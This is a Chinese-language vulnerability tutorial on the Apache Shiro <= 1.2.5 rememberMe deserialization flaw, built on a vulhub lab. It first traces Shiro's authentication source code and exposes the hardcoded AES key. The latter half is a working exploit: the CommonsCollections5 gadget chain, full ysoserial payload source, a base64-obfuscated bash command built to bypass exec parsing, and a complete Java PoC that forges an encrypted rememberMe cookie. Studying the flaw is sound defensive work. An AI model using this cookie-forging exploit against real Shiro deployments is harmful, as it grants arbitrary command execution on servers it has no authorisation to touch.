Apache Shiro是一个强大且易用的 Java安全框架,执行身份验证、授权、密码和会话管理。shiro 相比于 springsecurity 简单许多,官方号称 10 分钟就能学会。shiro 反序列化漏洞是 Java 经典漏洞,于2016年被挖掘出来,到现在依旧很多系统存在该漏洞,非常值得学习,对加深 shiro 认证机制的理解以及java代码审计颇有帮助。本文针对Shiro进行了一个原理性的讲解,从源码层面来分析了Shiro的认证和授权的整个流程,说明rememberme的作用,以及为何该字段会导致反序列化漏洞。
Shiro <= 1.2.5
Shiro 环境来自 vulhub。 我们先正常输入账号密码登录,断点调试分析Shiro整个登录过程做了什么操作。
输入正确的账号密码 (admin, vulhub) 登录,getSubject 获取一个没有绑定具体用户的空用户主体,账号密码写入 UsernamePasswordToken,subject.login() 开始进行账号密码验证登录。
步入 login 方法,可以看到 securityManager.login(this, token) 通过 token (账号密码) 去登录验证获取具体用户主体 subject。
SecurityManager是Shiro框架的核心, Shiro通过 SecurityManager 来管理内部组件实例,并通过它来提供安全管理的各种服务。 SecurityManager 主要对账号、权限及身份认证进行设置和管理。
SecurityManager继承了接口Authorizer(认证器),SessionManager(会话管理器),Authenticator(授权器) 。
跟进 login 方法,调用 Authorizer 接口的 authenticate 方法, 验证 AuthenticationToken 参数,如果验证成功,返回具体用户主体实例(Subject)表示经过身份验证的帐户的身份。如果AuthenticationToken 有问题,验证失败,则抛出 AuthenticationException。
继续跟进,token表示主体(用户)的登录主体和凭证,返回引用认证用户的帐户数据AuthenticationInfo。如果在身份验证过程中有任何问题,抛出 AuthenticationException 。
继续跟进,getRealms()获取Realm集合,如果realm只有一个,走的是doSingleRealmAuthentication方法,如果有多个,走的是doMultiRealmAuthentication方法。如下图:我们只创建了 Realm (MainRealm), 所以走 doSingleRealmAuthentication 方法获取身份验证信息。
继续跟进,最后到了我们自己自定义账号密码匹配逻辑,匹配成功以后实例化 SimpleAuthenticationInfo 并返回。
用户账号密码匹配成功,一路返回到 AbstractAuthenticator.java#login, 当执行完 Subject loggedIn = createSubject(token, info, subject) 后,可以看到先前未绑定具体用户的 subject 现在已经绑定了具体用户 admin 。
继续跟进,在 AbstractAuthenticator.java#login 方法中对onSuccessfulLogin(token, info, loggedIn) 下断点,观察登录成功后进行了什么操作。如下代码逻辑可以看出,先判断securityManager 是否配置了 cookieRememberMeManager,如果存在,则下一步去判断前端是否表明了需要记住我(rememberme), isRememberMe(token) 为 true 说明需要记住我,然后执行 rememberIdentity(subject, token, info) 进行记住当前身份操作。
进入 rememberIdentity(subject, token, info),首先获取需要记住的用户主体信息,然后对 PrincipalCollection 实例对象进行序列化,getCipherService() 获取加密服务,进行AES加密,最后返回加密后的字节数组。
跟进 encrypt(bytes),可以看到调用 getEncryptionCipherKey() 获取秘钥字节数组进行AES加密,一路反向溯源发现原始秘钥字符串为 kPH+bIxk5D2deZiIxcaaaA==。
通过秘钥对数据进行加密,得到加密后字节数组,回到 AbstractRememberMeManager.java#rememberIdentity, 在 rememberSerializedIdentity(subject, bytes) 打断点,跟进可以看到对加密后的字节数组进行了 base64 编码,并保存进 cookie中,后面返回给前端进行保存。
整个登录验证流程基本完成。用户关闭浏览器,在 rememberMe 指定过期时间内打开浏览器并访问相关接口服务时就无需再登录,可以正常访问服务。
小结:分析完整个登录验证的代码执行过程后,其实就很容易想到一个安全问题。生成 rememberMe 信息时进行了序列化操作,有序列化,并有反序列化过程,且加解密秘钥使用的硬编码,我们完全可以伪造 rememberMe 的信息,触发反序列化漏洞,进而控制服务器。
1、 服务端接收rememberMe的cookie值后的操作是:Cookie中rememberMe字段内容 —> Base64解密 —> 使用密钥进行AES解密 —>反序列化,我们要构造 poc 就需要先序列化数据然后再AES加密最后base64编码。
2、由于上述 shirodemo 存在 commons-collections 3.2.1 依赖, 所以可使用 CommonsCollections5 利用链, 借助 ysoserial 指定CommonsCollections5 生成序列化数据。(后续会写一些反序列化利用链原理与挖掘文章,现在先将就用 ysoserial 生成)
1、CommonsCollections5 利用链如下:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2、ysoserial 指定 CommonsCollections5 利用链生成序列化数据的源代码如下:
package ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
执行命令:
java -jar .\ysoserial-all.jar CommonsCollections5 "bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}
含义:指定 CommonsCollections5 利用链生成可执行echo The server has been hacked > warning.txt
命令的序列化数据。
为什么要写成
bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}
,而不是直接写echo The server has been hacked > warning.txt
?
原因:当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过。具体看参考这篇文章:绕过exec获取反弹shell
// exec(String command)
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
3、编写 POC 生成 Payload:
package shiro;
import java.io.*;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class ShiroPoc {
private static String KEY = "kPH+bIxk5D2deZiIxcaaaA==";
private static String gadget = "CommonsCollections5";
private static String cmd = "bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}";
public static byte[] exec(String cmd) {
Process process = null;
try {
if (File.separator.equals("/")) {
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
} else {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd});
}
} catch (IOException var6) {
var6.printStackTrace();
}
InputStream in1 = process.getInputStream();
byte[] stdout = inputStreamToBytes(in1);
InputStream in2 = process.getErrorStream();
byte[] stderr = inputStreamToBytes(in2);
return stdout.length != 0 ? stdout : stderr;
}
public static byte[] inputStreamToBytes(InputStream in) {
ByteArrayOutputStream baos = null;
Object var3;
try {
baos = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int len;
while((len = in.read(bytes)) != -1) {
baos.write(bytes, 0, len);
}
byte[] result = baos.toByteArray();
byte[] var5 = result;
return var5;
} catch (IOException var15) {
var3 = null;
} finally {
try {
if (baos != null) {
baos.close();
}
if (in != null) {
in.close();
}
} catch (IOException var14) {
var14.printStackTrace();
}
}
return (byte[])var3;
}
public static void main(String[] args) throws IOException {
String result = "java -jar \""+"src\\main\\java\\shiro\\ysoserial.jar\" "+ gadget+ " \"" + cmd + "\"";
byte[] ans = exec(result);
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(KEY);
ByteSource ciphertext = aes.encrypt(ans, key);
BufferedWriter out = new BufferedWriter(new FileWriter("src\\main\\java\\shiro\\rememberMe.txt"));
out.write(ciphertext.toBase64());
out.close();
}
}
4、验证漏洞: